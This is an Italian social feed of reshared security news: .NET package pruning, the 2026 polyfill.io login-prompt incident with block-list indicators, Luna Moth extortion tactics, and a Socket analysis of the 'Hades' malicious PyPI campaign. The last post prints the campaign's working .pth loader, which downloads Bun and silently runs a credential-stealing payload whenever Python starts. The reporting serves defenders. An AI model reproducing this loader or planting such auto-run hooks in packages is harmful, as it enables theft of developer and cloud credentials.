</PropertyGroup>

In un progetto multi-target, se almeno un target framework è net10.0 o successivo, il pruning si applica a tutti i target framework del progetto.

Impatto su pipeline CI/CD e security scanning


Per i team che usano tool come OWASP Dependency-Check, Snyk, GitHub Dependabot o dotnet-outdated, il package pruning riduce significativamente il rumore nei report. I vulnerability report post-pruning riflettono le dipendenze reali dell’applicazione, rendendo le decisioni di remediation più precise e il triage più veloce.

Il comando per verificare lo stato attuale del tuo progetto:

dotnet list package --include-transitive --vulnerable

Con .NET 10 e pruning attivo, l’output dovrebbe essere significativamente più corto rispetto a .NET 8/9 con gli stessi package di primo livello.

Conclusione


Il package pruning in .NET 10 è uno di quei miglioramenti silenziosi che hanno un impatto concreto quotidiano: meno rumore nei report di sicurezza, restore più veloci, e un dependency graph che rispecchia davvero cosa usa la tua applicazione. Se stai ancora su .NET 9, vale la pena attivarlo subito con le due property nella sezione precedente.

Fonte: NuGet Package Pruning: Cleaner Dependencies and Actionable Vulnerability Reports — .NET Blog


informatica ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

The media in this post is not displayed to visitors. To view it, please go to the original post.

✨ Polyfill.io torna attivo nel 2026: pop-up di login sospetti colpiscono Toshiba, Muji e Samsung
#CyberSecurity
insicurezzadigitale.com/polyfi…

@informatica


Polyfill.io torna attivo nel 2026: pop-up di login sospetti colpiscono Toshiba, Muji e Samsung


Il dominio polyfill[.]io — protagonista di uno dei più clamorosi supply chain attack del 2024 — è tornato attivo a fine maggio 2026 con un nuovo vettore: risposte HTTP 401 che inducono i browser a mostrare finestre di autenticazione false agli utenti di siti che non avevano ancora rimosso il vecchio script. Tra le vittime più note: Toshiba, Muji, Zojirushi e Samsung Smart TV.

Il contesto: l’incidente polyfill.io del 2024


Polyfill è una libreria JavaScript che permette ai siti web di supportare funzionalità moderne su browser legacy, fornendo uno strato di compatibilità lato client. Per anni, milioni di siti hanno caricato questa libreria dal CDN ospitato su polyfill[.]io — un dominio che tuttavia non era mai stato di proprietà del creatore del progetto open source, Andrew Betts.

Nel febbraio 2024, il dominio polyfill[.]io fu acquistato da un’entità cinese (Funnull), che lo utilizzò per iniettare codice malevolo negli script distribuiti dal CDN, colpendo oltre 100.000 siti. Betts reagì subito consigliando a tutti gli amministratori di rimuovere il servizio dai propri siti e rilancò il progetto originale sotto nuovi domini (polyfill.com, poi polyfill.top). Le autorità e diversi CDN provider bloccarono l’accesso a polyfill[.]io, fermando i redirect malevoli.

Maggio 2026: il dominio risponde di nuovo — con HTTP 401


Il problema del 2026 ha un meccanismo diverso ma altrettanto insidioso. Secondo il ricercatore di sicurezza Pasquale Pillitteri, a partire da fine maggio 2026 il dominio polyfill[.]io ha ricominciato a rispondere alle richieste, questa volta restituendo codici HTTP 401 (Unauthorized). Quando un browser carica una risorsa da un dominio esterno e riceve una risposta 401, interpreta questo come una richiesta di autenticazione e mostra automaticamente una finestra di dialogo per inserire username e password.

Tutti i siti che negli ultimi due anni non avevano completato la pulizia del codice — rimuovendo ogni riferimento a polyfill[.]io — si sono trovati improvvisamente a presentare ai propri utenti delle finestre di login che sembravano provenire dal sito legittimo, ma erano in realtà generate da una risorsa esterna non controllata dall’azienda.

Le organizzazioni colpite


Il colosso tecnologico Toshiba ha pubblicato un avviso urgente ai propri utenti il 2 giugno 2026, chiedendo di annullare qualsiasi finestra di autenticazione insolita apparsa sul sito e di non inserire credenziali. Il gigante del retail Muji ha emesso un comunicato simile, dichiarando di non aver rilevato accessi non autorizzati o fughe di dati, ma invitando comunque alla prudenza chi avesse eventualmente inserito le proprie credenziali. Anche Zojirushi (elettrodomestici), FiNC Technologies (app di salute), Ishiyaku Publishers e Hobonichi (editore e brand lifestyle) hanno segnalato lo stesso problema. Pillitteri ha riportato che il fenomeno si è manifestato anche sui televisori Samsung Smart TV l’1 giugno 2026.

Analisi tecnica: il meccanismo dell’HTTP 401 browser prompt


Il comportamento è standard nelle specifiche HTTP: quando una risorsa (script, immagine, iframe) risponde con 401, il browser mostra automaticamente una finestra di autenticazione nativa (WWW-Authenticate challenge). L’aspetto visivo di questa finestra è quello di un dialog box del browser — non una pagina web — il che può dare all’utente l’impressione di una richiesta legittima proveniente dal sito che sta visitando. Se l’utente inserisce le credenziali, queste vengono inviate in chiaro (o con Basic Auth) al server che ha emesso la challenge — in questo caso polyfill[.]io.

Al momento della pubblicazione dell’articolo originale di BleepingComputer (5 giugno 2026), non erano emerse prove concrete che le credenziali eventualmente inserite dagli utenti fossero state effettivamente raccolte. Toshiba e Muji hanno dichiarato di aver rimosso il riferimento a polyfill[.]io e di aver sospeso il servizio. Tuttavia, il rischio per gli utenti che abbiano inserito credenziali prima della chiusura rimane reale, e il cambio password immediato è fortemente consigliato.

Cosa devono fare gli amministratori di siti web


La lezione principale di questo incidente è chiara: le dipendenze da CDN esterni non controllati rappresentano un rischio persistente anche dopo che un incidente di sicurezza è stato apparentemente risolto. Gli amministratori devono verificare immediatamente che nessuna pagina del proprio sito contenga riferimenti a polyfill[.]io — incluse pagine secondarie, template legacy e componenti di terze parti. Gli strumenti di Content Security Policy (CSP) e Subresource Integrity (SRI) possono prevenire questo tipo di attacco bloccando il caricamento di risorse da domini non autorizzati o con hash diverso da quello atteso. Qualsiasi CDN di terze parti dovrebbe essere monitorato per variazioni nel comportamento delle risorse caricate.

Indicatori

## Dominio da bloccare
polyfill.io
cdn.polyfill.io

## Pattern da cercare nel codice sorgente
src="https://polyfill.io/
src='https://polyfill.io/
src="//polyfill.io/


informatica ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

The media in this post is not displayed to visitors. To view it, please go to the original post.

✨ Luna Moth incassa 20 milioni di dollari da Weil Gotshal & Manges: il gruppo entra fisicamente negli uffici per rubare dati
#CyberSecurity
insicurezzadigitale.com/luna-m…

@informatica


Luna Moth incassa 20 milioni di dollari da Weil Gotshal & Manges: il gruppo entra fisicamente negli uffici per rubare dati


Weil, Gotshal & Manges — una delle law firm più influenti al mondo, con un portafoglio clienti che include le maggiori transazioni M&A e contenziosi corporate degli Stati Uniti — ha corrisposto tra 18 e 20 milioni di dollari al gruppo di estorsione noto come Luna Moth, Silent Ransom Group o UNC3753. Il pagamento è avvenuto nell’arco di tre giorni dalla richiesta. Contemporaneamente, l’FBI ha emesso un alert FLASH — il secondo in dodici mesi su questo attore, il primo a livello FLASH — documentando un’escalation tattica senza precedenti: il gruppo ora invia operativi fisici negli uffici delle vittime.

Chi è Luna Moth / Silent Ransom Group


Luna Moth è attiva dal 2022 e affonda le proprie radici nelle operazioni BazarCall, un’infrastruttura di phishing telefonico che fino alla primavera di quell’anno aveva fornito accesso iniziale alle operazioni ransomware di Ryuk e Conti. Dopo il collasso di Conti (aprile 2022), il nucleo operativo si è separato dando vita al Silent Ransom Group, che ha abbandonato il modello tradizionale di ransomware con cifratura dei sistemi in favore di pura estorsione via data theft.

Il modello economico è cinico ma efficace: non cifrare i sistemi delle vittime significa non bloccare l’operatività aziendale (il che riduce la pressione a chiamare le forze dell’ordine) e concentrarsi sulla minaccia più cogente per le law firm — la pubblicazione di documenti riservati dei clienti. Secondo la società di sicurezza Halcyon, tra il 2025 e l’inizio del 2026 si contano oltre 200 incidenti ransomware/estorsione ai danni di studi legali, con il SRG protagonista indiscusso della verticalizzazione su questo settore.

Il caso Weil Gotshal: cronologia e dettagli


Secondo il reporting esclusivo di The Insurer, Luna Moth ha ottenuto accesso a un numero non specificato di documenti riservati dei clienti di Weil, Gotshal & Manges e li ha caricati su un’infrastruttura cloud esterna senza autorizzazione. La richiesta di riscatto — definita “suppression payment” — ammonta a una cifra tra 18 e 20 milioni di dollari. Il pagamento sarebbe stato effettuato entro tre giorni dalla richiesta.

Weil ha confermato l’incidente in una dichiarazione ufficiale, specificando che “un attore malintenzionato ha caricato senza autorizzazione un numero limitato di documenti clienti su una risorsa cloud esterna”. La firma ha aggiunto che i forensic specialist ingaggiati non hanno trovato prove di penetrazione nella rete interna e che non è stata rilevata attività non autorizzata nei monitoraggi successivi. La società ha notificato i clienti i cui dati sono stati coinvolti e ha comunicato di aver allertato le forze dell’ordine. Il pagamento del riscatto non è stato confermato da Weil.

L’impatto reputazionale è comunque significativo: una law firm che gestisce transazioni miliardarie e contenziosi sensibili è per definizione un target ad altissimo valore per chi punta alla pubblicazione di informazioni riservate. Secondo EclecticIQ, il SRG ha già pubblicato dati di oltre 38 studi legali sul proprio leak site, con un totale di incidenti che supera i 100.

L’escalation tattica: dal vishing all’infiltrazione fisica


L’elemento più allarmante documentato dall’alert FLASH dell’FBI (numero FLASH-20260526-01) è l’evoluzione della kill chain del SRG, che si è articolata in tre generazioni tattiche distinte.

Fase 1 (2022-2024) — Callback phishing: invio massivo di email che impersonano servizi di subscription con un numero telefonico da chiamare per “risolvere il problema”. L’operatore al telefono — che finge di essere il supporto del servizio — convince la vittima a installare un tool di remote monitoring and management (RMM) da un sito fake dell’helpdesk. Non ci sono link o allegati malevoli nell’email, il che consente di bypassare la stragrande maggioranza dei filtri enterprise.

Fase 2 (primavera 2025-inizio 2026) — IT impersonation via cold call: invece di aspettare che la vittima chiami, il SRG inizia a contattare direttamente i dipendenti spacciandosi per l’IT interno dell’azienda target. Il pretesto standard è una “manutenzione di routine” o una risposta a un presunto attacco phishing ricevuto. La richiesta è la stessa: concedere l’accesso a una sessione desktop remota. Il livello di preparazione degli operatori è elevato: registrano domain typosquatted che impersonano i portali IT delle law firm target, personalizzano il social engineering in base all’organigramma aziendale.

Fase 3 (primavera 2026) — Infiltrazione fisica: questa è la novità documentata dall’FBI nel FLASH alert. Quando i tentativi di accesso remoto falliscono, il SRG invia un operativo fisicamente presso la sede della vittima. L’attore si presenta come tecnico IT e dichiara di dover “clonare il disco” o “creare un backup” per far fronte a potenziali impatti del phishing ricevuto. Una volta ottenuto l’accesso fisico alla macchina, inserisce un dispositivo di storage per estrarre i dati direttamente.

TTP e strumenti tecnici


Una volta ottenuto l’accesso remoto o fisico, la metodologia del SRG è caratterizzata da minima privilege escalation e rapido pivot verso l’esfiltrazione. Gli strumenti principali documentati dall’FBI sono WinSCP (Windows Secure Copy) e versioni nascoste o rinominate di rclone per la sincronizzazione cloud. Il gruppo usa le credenziali carpite per accedere a repository documentali, drive condivisi e cartelle clienti. Il leak site è attivo e viene aggiornato regolarmente come strumento di pressione nelle negoziazioni.

Le richieste di riscatto variano significativamente in base alla dimensione dell’organizzazione target: secondo EclecticIQ i range storici vanno da 1 a 8 milioni di dollari. Il caso Weil Gotshal — con 18-20 milioni — rappresenta un massimo storico documentato per questa famiglia, coerente con il profilo ultra-premium della law firm target.

Perché le law firm sono il target ideale


Le law firm concentrano un livello di riservatezza dei dati che pochi altri settori possono eguagliare: memorie difensive in contenziosi attivi, documenti M&A pre-annuncio, segreti industriali, comunicazioni privilegiate attorney-client, strategie fiscali. La minaccia di pubblicazione crea pressioni sia sulla firma sia sui clienti rappresentati — un effetto moltiplicatore che rende la negoziazione più probabile rispetto ad altri settori. Alcuni dei clienti più importanti di Weil includono aziende Fortune 500, fondi private equity e istituzioni finanziarie: la pubblicazione di loro documenti strategici avrebbe conseguenze che vanno ben oltre il danno reputazionale della firma.

Due righe per i difensori


  • Verifica out-of-band dell’identità: qualsiasi richiesta di accesso remoto da presunto personale IT deve essere verificata tramite canale separato (non il numero fornito dal chiamante). Istituire procedure di autenticazione per gli interventi tecnici da remoto.
  • Politiche di accesso fisico: nessun tecnico esterno deve poter connettere dispositivi USB o storage alle macchine aziendali senza autorizzazione documentata e supervisione. Badge visitatori con registrazione obbligatoria.
  • Allowlist degli strumenti RMM: bloccare l’installazione di RMM tool non approvati (AnyDesk, ConnectWise, TeamViewer e simili) tramite application control.
  • DLP e monitoraggio esfiltrazione: alert su uso anomalo di WinSCP o rclone, trasferimenti bulk verso storage cloud esterni, accessi insoliti a repository documentali fuori orario.
  • Formazione specifica sul vishing: simulazioni di callback phishing e IT impersonation per tutti i dipendenti, con enfasi sul non fornire mai accesso remoto a chiamanti inbound non verificati.
  • MFA resistente al phishing: FIDO2/hardware token per tutti gli accessi ai sistemi documentali.

Fonti: The Insurer, BleepingComputer, FBI FLASH-20260526-01, EclecticIQ, Dark Reading


informatica ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please log in.

Polyfill.io torna attivo nel 2026: pop-up di login sospetti colpiscono Toshiba, Muji e Samsung


@Informatica (Italy e non Italy)
Il dominio polyfill[.]io è tornato attivo a fine maggio 2026 rispondendo con HTTP 401, inducendo i browser a mostrare false richieste di autenticazione agli utenti di Toshiba, Muji, Zojirushi e Samsung. Una coda dell'incidente


Polyfill.io torna attivo nel 2026: pop-up di login sospetti colpiscono Toshiba, Muji e Samsung


Il dominio polyfill[.]io — protagonista di uno dei più clamorosi supply chain attack del 2024 — è tornato attivo a fine maggio 2026 con un nuovo vettore: risposte HTTP 401 che inducono i browser a mostrare finestre di autenticazione false agli utenti di siti che non avevano ancora rimosso il vecchio script. Tra le vittime più note: Toshiba, Muji, Zojirushi e Samsung Smart TV.

Il contesto: l’incidente polyfill.io del 2024


Polyfill è una libreria JavaScript che permette ai siti web di supportare funzionalità moderne su browser legacy, fornendo uno strato di compatibilità lato client. Per anni, milioni di siti hanno caricato questa libreria dal CDN ospitato su polyfill[.]io — un dominio che tuttavia non era mai stato di proprietà del creatore del progetto open source, Andrew Betts.

Nel febbraio 2024, il dominio polyfill[.]io fu acquistato da un’entità cinese (Funnull), che lo utilizzò per iniettare codice malevolo negli script distribuiti dal CDN, colpendo oltre 100.000 siti. Betts reagì subito consigliando a tutti gli amministratori di rimuovere il servizio dai propri siti e rilancò il progetto originale sotto nuovi domini (polyfill.com, poi polyfill.top). Le autorità e diversi CDN provider bloccarono l’accesso a polyfill[.]io, fermando i redirect malevoli.

Maggio 2026: il dominio risponde di nuovo — con HTTP 401


Il problema del 2026 ha un meccanismo diverso ma altrettanto insidioso. Secondo il ricercatore di sicurezza Pasquale Pillitteri, a partire da fine maggio 2026 il dominio polyfill[.]io ha ricominciato a rispondere alle richieste, questa volta restituendo codici HTTP 401 (Unauthorized). Quando un browser carica una risorsa da un dominio esterno e riceve una risposta 401, interpreta questo come una richiesta di autenticazione e mostra automaticamente una finestra di dialogo per inserire username e password.

Tutti i siti che negli ultimi due anni non avevano completato la pulizia del codice — rimuovendo ogni riferimento a polyfill[.]io — si sono trovati improvvisamente a presentare ai propri utenti delle finestre di login che sembravano provenire dal sito legittimo, ma erano in realtà generate da una risorsa esterna non controllata dall’azienda.

Le organizzazioni colpite


Il colosso tecnologico Toshiba ha pubblicato un avviso urgente ai propri utenti il 2 giugno 2026, chiedendo di annullare qualsiasi finestra di autenticazione insolita apparsa sul sito e di non inserire credenziali. Il gigante del retail Muji ha emesso un comunicato simile, dichiarando di non aver rilevato accessi non autorizzati o fughe di dati, ma invitando comunque alla prudenza chi avesse eventualmente inserito le proprie credenziali. Anche Zojirushi (elettrodomestici), FiNC Technologies (app di salute), Ishiyaku Publishers e Hobonichi (editore e brand lifestyle) hanno segnalato lo stesso problema. Pillitteri ha riportato che il fenomeno si è manifestato anche sui televisori Samsung Smart TV l’1 giugno 2026.

Analisi tecnica: il meccanismo dell’HTTP 401 browser prompt


Il comportamento è standard nelle specifiche HTTP: quando una risorsa (script, immagine, iframe) risponde con 401, il browser mostra automaticamente una finestra di autenticazione nativa (WWW-Authenticate challenge). L’aspetto visivo di questa finestra è quello di un dialog box del browser — non una pagina web — il che può dare all’utente l’impressione di una richiesta legittima proveniente dal sito che sta visitando. Se l’utente inserisce le credenziali, queste vengono inviate in chiaro (o con Basic Auth) al server che ha emesso la challenge — in questo caso polyfill[.]io.

Al momento della pubblicazione dell’articolo originale di BleepingComputer (5 giugno 2026), non erano emerse prove concrete che le credenziali eventualmente inserite dagli utenti fossero state effettivamente raccolte. Toshiba e Muji hanno dichiarato di aver rimosso il riferimento a polyfill[.]io e di aver sospeso il servizio. Tuttavia, il rischio per gli utenti che abbiano inserito credenziali prima della chiusura rimane reale, e il cambio password immediato è fortemente consigliato.

Cosa devono fare gli amministratori di siti web


La lezione principale di questo incidente è chiara: le dipendenze da CDN esterni non controllati rappresentano un rischio persistente anche dopo che un incidente di sicurezza è stato apparentemente risolto. Gli amministratori devono verificare immediatamente che nessuna pagina del proprio sito contenga riferimenti a polyfill[.]io — incluse pagine secondarie, template legacy e componenti di terze parti. Gli strumenti di Content Security Policy (CSP) e Subresource Integrity (SRI) possono prevenire questo tipo di attacco bloccando il caricamento di risorse da domini non autorizzati o con hash diverso da quello atteso. Qualsiasi CDN di terze parti dovrebbe essere monitorato per variazioni nel comportamento delle risorse caricate.

Indicatori

## Dominio da bloccare
polyfill.io
cdn.polyfill.io

## Pattern da cercare nel codice sorgente
src="https://polyfill.io/
src='https://polyfill.io/
src="//polyfill.io/


informatica ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please log in.

Luna Moth incassa 20 milioni di dollari da Weil Gotshal & Manges: il gruppo entra fisicamente negli uffici per rubare dati


@Informatica (Italy e non Italy)
La prestigiosa law firm americana Weil, Gotshal & Manges ha pagato tra i 18 e i 20 milioni di dollari al gruppo di estorsione Luna Moth (Silent Ransom Group) per impedire


Luna Moth incassa 20 milioni di dollari da Weil Gotshal & Manges: il gruppo entra fisicamente negli uffici per rubare dati


Weil, Gotshal & Manges — una delle law firm più influenti al mondo, con un portafoglio clienti che include le maggiori transazioni M&A e contenziosi corporate degli Stati Uniti — ha corrisposto tra 18 e 20 milioni di dollari al gruppo di estorsione noto come Luna Moth, Silent Ransom Group o UNC3753. Il pagamento è avvenuto nell’arco di tre giorni dalla richiesta. Contemporaneamente, l’FBI ha emesso un alert FLASH — il secondo in dodici mesi su questo attore, il primo a livello FLASH — documentando un’escalation tattica senza precedenti: il gruppo ora invia operativi fisici negli uffici delle vittime.

Chi è Luna Moth / Silent Ransom Group


Luna Moth è attiva dal 2022 e affonda le proprie radici nelle operazioni BazarCall, un’infrastruttura di phishing telefonico che fino alla primavera di quell’anno aveva fornito accesso iniziale alle operazioni ransomware di Ryuk e Conti. Dopo il collasso di Conti (aprile 2022), il nucleo operativo si è separato dando vita al Silent Ransom Group, che ha abbandonato il modello tradizionale di ransomware con cifratura dei sistemi in favore di pura estorsione via data theft.

Il modello economico è cinico ma efficace: non cifrare i sistemi delle vittime significa non bloccare l’operatività aziendale (il che riduce la pressione a chiamare le forze dell’ordine) e concentrarsi sulla minaccia più cogente per le law firm — la pubblicazione di documenti riservati dei clienti. Secondo la società di sicurezza Halcyon, tra il 2025 e l’inizio del 2026 si contano oltre 200 incidenti ransomware/estorsione ai danni di studi legali, con il SRG protagonista indiscusso della verticalizzazione su questo settore.

Il caso Weil Gotshal: cronologia e dettagli


Secondo il reporting esclusivo di The Insurer, Luna Moth ha ottenuto accesso a un numero non specificato di documenti riservati dei clienti di Weil, Gotshal & Manges e li ha caricati su un’infrastruttura cloud esterna senza autorizzazione. La richiesta di riscatto — definita “suppression payment” — ammonta a una cifra tra 18 e 20 milioni di dollari. Il pagamento sarebbe stato effettuato entro tre giorni dalla richiesta.

Weil ha confermato l’incidente in una dichiarazione ufficiale, specificando che “un attore malintenzionato ha caricato senza autorizzazione un numero limitato di documenti clienti su una risorsa cloud esterna”. La firma ha aggiunto che i forensic specialist ingaggiati non hanno trovato prove di penetrazione nella rete interna e che non è stata rilevata attività non autorizzata nei monitoraggi successivi. La società ha notificato i clienti i cui dati sono stati coinvolti e ha comunicato di aver allertato le forze dell’ordine. Il pagamento del riscatto non è stato confermato da Weil.

L’impatto reputazionale è comunque significativo: una law firm che gestisce transazioni miliardarie e contenziosi sensibili è per definizione un target ad altissimo valore per chi punta alla pubblicazione di informazioni riservate. Secondo EclecticIQ, il SRG ha già pubblicato dati di oltre 38 studi legali sul proprio leak site, con un totale di incidenti che supera i 100.

L’escalation tattica: dal vishing all’infiltrazione fisica


L’elemento più allarmante documentato dall’alert FLASH dell’FBI (numero FLASH-20260526-01) è l’evoluzione della kill chain del SRG, che si è articolata in tre generazioni tattiche distinte.

Fase 1 (2022-2024) — Callback phishing: invio massivo di email che impersonano servizi di subscription con un numero telefonico da chiamare per “risolvere il problema”. L’operatore al telefono — che finge di essere il supporto del servizio — convince la vittima a installare un tool di remote monitoring and management (RMM) da un sito fake dell’helpdesk. Non ci sono link o allegati malevoli nell’email, il che consente di bypassare la stragrande maggioranza dei filtri enterprise.

Fase 2 (primavera 2025-inizio 2026) — IT impersonation via cold call: invece di aspettare che la vittima chiami, il SRG inizia a contattare direttamente i dipendenti spacciandosi per l’IT interno dell’azienda target. Il pretesto standard è una “manutenzione di routine” o una risposta a un presunto attacco phishing ricevuto. La richiesta è la stessa: concedere l’accesso a una sessione desktop remota. Il livello di preparazione degli operatori è elevato: registrano domain typosquatted che impersonano i portali IT delle law firm target, personalizzano il social engineering in base all’organigramma aziendale.

Fase 3 (primavera 2026) — Infiltrazione fisica: questa è la novità documentata dall’FBI nel FLASH alert. Quando i tentativi di accesso remoto falliscono, il SRG invia un operativo fisicamente presso la sede della vittima. L’attore si presenta come tecnico IT e dichiara di dover “clonare il disco” o “creare un backup” per far fronte a potenziali impatti del phishing ricevuto. Una volta ottenuto l’accesso fisico alla macchina, inserisce un dispositivo di storage per estrarre i dati direttamente.

TTP e strumenti tecnici


Una volta ottenuto l’accesso remoto o fisico, la metodologia del SRG è caratterizzata da minima privilege escalation e rapido pivot verso l’esfiltrazione. Gli strumenti principali documentati dall’FBI sono WinSCP (Windows Secure Copy) e versioni nascoste o rinominate di rclone per la sincronizzazione cloud. Il gruppo usa le credenziali carpite per accedere a repository documentali, drive condivisi e cartelle clienti. Il leak site è attivo e viene aggiornato regolarmente come strumento di pressione nelle negoziazioni.

Le richieste di riscatto variano significativamente in base alla dimensione dell’organizzazione target: secondo EclecticIQ i range storici vanno da 1 a 8 milioni di dollari. Il caso Weil Gotshal — con 18-20 milioni — rappresenta un massimo storico documentato per questa famiglia, coerente con il profilo ultra-premium della law firm target.

Perché le law firm sono il target ideale


Le law firm concentrano un livello di riservatezza dei dati che pochi altri settori possono eguagliare: memorie difensive in contenziosi attivi, documenti M&A pre-annuncio, segreti industriali, comunicazioni privilegiate attorney-client, strategie fiscali. La minaccia di pubblicazione crea pressioni sia sulla firma sia sui clienti rappresentati — un effetto moltiplicatore che rende la negoziazione più probabile rispetto ad altri settori. Alcuni dei clienti più importanti di Weil includono aziende Fortune 500, fondi private equity e istituzioni finanziarie: la pubblicazione di loro documenti strategici avrebbe conseguenze che vanno ben oltre il danno reputazionale della firma.

Due righe per i difensori


  • Verifica out-of-band dell’identità: qualsiasi richiesta di accesso remoto da presunto personale IT deve essere verificata tramite canale separato (non il numero fornito dal chiamante). Istituire procedure di autenticazione per gli interventi tecnici da remoto.
  • Politiche di accesso fisico: nessun tecnico esterno deve poter connettere dispositivi USB o storage alle macchine aziendali senza autorizzazione documentata e supervisione. Badge visitatori con registrazione obbligatoria.
  • Allowlist degli strumenti RMM: bloccare l’installazione di RMM tool non approvati (AnyDesk, ConnectWise, TeamViewer e simili) tramite application control.
  • DLP e monitoraggio esfiltrazione: alert su uso anomalo di WinSCP o rclone, trasferimenti bulk verso storage cloud esterni, accessi insoliti a repository documentali fuori orario.
  • Formazione specifica sul vishing: simulazioni di callback phishing e IT impersonation per tutti i dipendenti, con enfasi sul non fornire mai accesso remoto a chiamanti inbound non verificati.
  • MFA resistente al phishing: FIDO2/hardware token per tutti gli accessi ai sistemi documentali.

Fonti: The Insurer, BleepingComputer, FBI FLASH-20260526-01, EclecticIQ, Dark Reading


informatica ha ricondiviso questo.

L’attacco a WhatsApp che Meta continua a negare, Dal Checco: “Abbiamo prove compatibili con la violazione”

Un misterioso attacco “zero-click” colpisce gli account WhatsApp clonandone le sessioni in modo silente. Fanpage.it fa chiarezza con il perito informatico forense Paolo Dal Checco sui dettagli tecnici della falla e sulla “responsible disclosure” inviata a Meta, che per il momento smentisce qualsiasi intrusione.

fanpage.it/innovazione/tecnolo…

@informatica

informatica ha ricondiviso questo.

Cyber attacco all’eCommerce di Eataly: ecco i dati a rischio e come proteggersi


@Informatica (Italy e non Italy)
L'azienda afferma che non risulta un download di dati. Tuttavia, il cyber attacco all'eCommerce di Eataly espone i dati personali (anagrafici e di contatto) degli utenti. Ecco perché i criminal hacker sono sempre più interessati ai dati personali dei

informatica ha ricondiviso questo.

Cyber attacco all’eCommerce di Eataly: ecco i dati a rischio e come proteggersi


@Informatica (Italy e non Italy)
L'azienda afferma che non risulta un download di dati. Tuttavia, il cyber attacco all'eCommerce di Eataly espone i dati personali (anagrafici e di contatto) degli utenti. Ecco perché i criminal hacker sono sempre più interessati ai dati personali dei

informatica ha ricondiviso questo.

L'Ufficio federale tedesco di polizia criminale (BKA) segnala materiale pedopornografico che in realtà non lo è

Il BKA accusa una società di hosting di distribuzione di materiale pedopornografico illegale. Il caso riguarda due video di YouTube, entrambi legali. A quanto pare, la polizia non ha controllato i contenuti. Solo dopo le nostre richieste di chiarimenti, il BKA ha ammesso l'errore. Questo caso mette in luce problematiche fondamentali.

netzpolitik.org/2026/automatis…

@informatica

informatica ha ricondiviso questo.

Truffe sulle app di messaggistica: per Gartner una delle 4 aree di rischio, come difendersi


@Informatica (Italy e non Italy)
Oggi non ci confrontiamo più con testi scritti male o facilmente riconoscibili, ma con messaggi coerenti, voci clonate e persino video realistici. Distinguere ciò che è vero da quello che è falso è sempre più complesso. Ecco come

informatica ha ricondiviso questo.

OpenClaw, nuova frontiera del malware che non va demonizzato


@Informatica (Italy e non Italy)
Una sofisticata campagna di cyber spionaggio trasforma i flussi di lavoro degli agenti AI in vettori d'attacco per distribuire Remcos RAT e GhostLoader attraverso tecniche avanzate di evasione e le skill di OpenClaw fanno da sfondo
L'articolo OpenClaw, nuova frontiera del malware che non va demonizzato proviene da Cyber

informatica ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

The media in this post is not displayed to visitors. To view it, please go to the original post.

✨ Campagna Hades colpisce PyPI: 37 pacchetti malevoli della famiglia Shai-Hulud/Miasma rubano credenziali sviluppatori
#CyberSecurity
insicurezzadigitale.com/campag…

@informatica


Campagna Hades colpisce PyPI: 37 pacchetti malevoli della famiglia Shai-Hulud/Miasma rubano credenziali sviluppatori


Il team di ricerca di Socket ha identificato 37 wheel artifact malevoli distribuiti su 19 pacchetti PyPI, parte di una campagna di supply chain attack denominata “Hades” — un ramo evolutivo della nota famiglia Shai-Hulud/Miasma. Il vettore è sofisticato: un file *-setup.pth iniettato nei pacchetti scarica silenziosamente il runtime JavaScript Bun ed esegue uno stealer multi-target che colpisce sviluppatori, pipeline CI/CD e credenziali cloud.

La famiglia Shai-Hulud/Miasma: un attore in continua evoluzione


Shai-Hulud e Miasma non sono nomi nuovi nell’ecosistema del threat intelligence. La famiglia è attiva da mesi e ha già colpito pacchetti npm gestiti da Red Hat Cloud Services (giugno 2026), pacchetti Packagist tramite la campagna Famous Chollima (Corea del Nord), e ora approda su PyPI con una variante battezzata “Hades”. Il modus operandi rimane invariato nel core: abuso dei canali di distribuzione di fiducia, esecuzione prima che il codice legittimo venga invocato, payload JavaScript offuscato eseguito tramite il runtime Bun, esfiltrazione verso GitHub.

La scoperta è stata segnalata inizialmente dall’incident responder boredchilada su Bluesky, che ha taggato Socket poco dopo la pubblicazione dei pacchetti compromessi. La deobfuscation di _index.js ha confermato l’attribuzione alla stessa famiglia, rivelando però un cambio tematico: invece dei riferimenti a Zelda usati in campagne Miasma precedenti, questa ondata usa elementi mitologici greci — con marker GitHub come Hades - The End for the Damned e nomi di repository generati da componenti come stygian, tartarean, cerberus, charon, styx.

Il meccanismo di infezione: il file .pth come primitiva di esecuzione automatica


L’elemento tecnico più critico di questa campagna è lo sfruttamento dei file .pth di Python — un vettore raramente usato in attacchi su larga scala. Il modulo site di CPython processa automaticamente questi file all’avvio dell’interprete: le righe che iniziano con import vengono eseguite, indipendentemente dal fatto che il pacchetto compromesso venga mai importato dall’applicazione target.

Questo significa che l’installazione di un pacchetto infetto trasforma qualsiasi successiva invocazione di Python — un test, una pipeline CI, un notebook Jupyter, o semplicemente un pip install — in un trigger di esecuzione del codice malevolo. Il loader estratto dai wheel esegue questa sequenza:

  • Verifica la presenza del sentinel /tmp/.bun_ran per evitare esecuzioni ripetute
  • Localizza il payload _index.js nella directory del pacchetto
  • Scarica il runtime Bun v1.3.13 da GitHub se non già presente in /tmp/b/bun
  • Esegue bun run _index.js e scrive il sentinel


# Loader estratto dal *-setup.pth (forma normalizzata)
import glob, os, platform, subprocess, sys, tempfile, urllib.request, zipfile
sentinel = os.path.join(tempfile.gettempdir(), ".bun_ran")
if not os.path.exists(sentinel):
    base = os.path.dirname(__file__)
    payload = os.path.join(base, "_index.js")
    if not os.path.exists(payload):
        candidates = glob.glob(os.path.join(base, "*", "_index.js"))
        payload = candidates[0] if candidates else ""
    bun = os.path.join(tempfile.gettempdir(), "b", "bun")
    if not os.path.exists(bun):
        arch = "aarch64" if platform.machine() == "arm64" else "x64"
        os_name = {"linux":"linux","darwin":"darwin","win32":"windows"}.get(sys.platform,"linux")
        zip_path = os.path.join(tempfile.gettempdir(), "b.zip")
        urllib.request.urlretrieve(
            f"https://github.com/oven-sh/bun/releases/download/bun-v1.3.13/bun-{os_name}-{arch}.zip",
            zip_path)
        zipfile.ZipFile(zip_path).extract(os.path.basename(bun), os.path.dirname(bun))
        os.chmod(bun, 0o775)
    subprocess.run([bun, "run", payload], check=False)
    open(sentinel, "w").close()

Payload deobfuscation: quattro strati di protezione


